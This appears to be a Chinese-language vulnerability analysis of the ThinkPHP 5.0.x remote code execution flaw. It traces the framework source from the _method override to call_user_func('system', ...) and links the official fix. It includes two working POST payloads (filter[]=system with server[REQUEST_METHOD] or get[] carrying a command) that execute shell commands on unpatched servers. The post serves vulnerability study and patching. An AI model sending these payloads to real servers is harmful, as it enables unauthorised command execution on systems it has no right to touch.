0%

ThinkPHP5.0.x RCE 分析

ThinkPHP 5.0.22

安装

http://www.thinkphp.cn/down/1260.html

debug模式 关闭

poc1

payload

1
2
POST /?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

start.php下断点

1
App::run()->send();
1
2
3
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

routeCheck

1
2
3
4
5
6
7
8
9
10
11
12
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
……(省略)

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

check方法内

1
$method = strtolower($request->method());

跟进method
image.png

config.php中定义了var_method = _method

image.png

当post存在_method参数时,会执行$this->{$this->**method**}($_POST);

$this->method 是_method的值,也就是执行了$this->__construct($_POST)

传入的__construct让Request类内的成员全部被覆盖了

__construct 函数不贴了

/vendor/topthink/think-captcha/src/help.php

image.png

?s=captcha 注册了路由,使得dispatch[“type”]=”method”

接着

1
$data = self::exec($dispatch, $config);

跟进exec,type=”method”

1
2
3
4
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;

这里实例化了Request类,并执行param方法

1
2
3
4
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);

跟进method

1
2
3
4
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
1
return $this->server('REQUEST_METHOD') ?: 'GET';

跟进server,之前覆盖掉了$this->server 使得$this->server = [REQUEST_METHOD => 'ls']

1
2
3
4
5
6
7
8
9
10
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

这里$name='REQUEST_METHOD'
最后$this->server = array('REQUEST_METHOD' => 'ls')

跟进input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function input($data = [], $name = '', $default = null, $filter = '')
{
……省略
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}

这里$data = array('REQUEST_METHOD' => 'ls') $filter=""
$name="REQUEST_METHOD";

1
2
3
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];

这里将$data = $data[$name]也就是$data="ls";

1
$filter = $this->getFilter($filter, $default);

跟进一下filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
return $filter;
}

这里$filter=array("system"),最后把$default push进去
返回的$filter=array("system",null)

1
2
3
4
5
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);

$data=”ls” 走else

1
2
3
4
5
6
7
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);

array_pop 把最后的null弹出,$filter 数组只有”system” 一个元素
循环第一次就执行了

1
call_user_func("system", "ls");

整个调用链

image.png

poc2

1
2
POST /?s=captcha
_method=__construct&filter[]=system&method=get&get[]=ls

param 方法执行不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}

$this->server 为空,没执行任何命令,继续,switch($method),只有true,
到default

1
$this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

this->get(false)

1
2
3
4
5
6
7
8
9
10
11
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}

$this->input(array('ls'),false)

跟进input

1
2
3
4
5
6
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

直接返回array('ls')
合并进$this->param,又来到input

1
return $this->input($this->param, $name, $default, $filter);

跟进input

1
2
3
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);

$data = array('ls',id=>null)
执行

1
filterValue(&$value, $key, $filters)

image.png

image.png

整个调用

debug模式 开启

不需要?s=captcha

App::run()

1
2
3
4
5
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

没开启时跳过了,开启后,调用了$request->param()

省略了

1
self::exec->case 'method':->Request::instance()->param()

的过程

官方修复

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

image.png

将执行Request任意方法,改成了指定的白名单内的,

执行任意方法确实会出事orz

参考

1
2
3
https://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

http://p0desta.com/2019/02/17/thinkphp5.0.x-%E8%B7%AF%E7%94%B1%E9%97%AE%E9%A2%98RCE/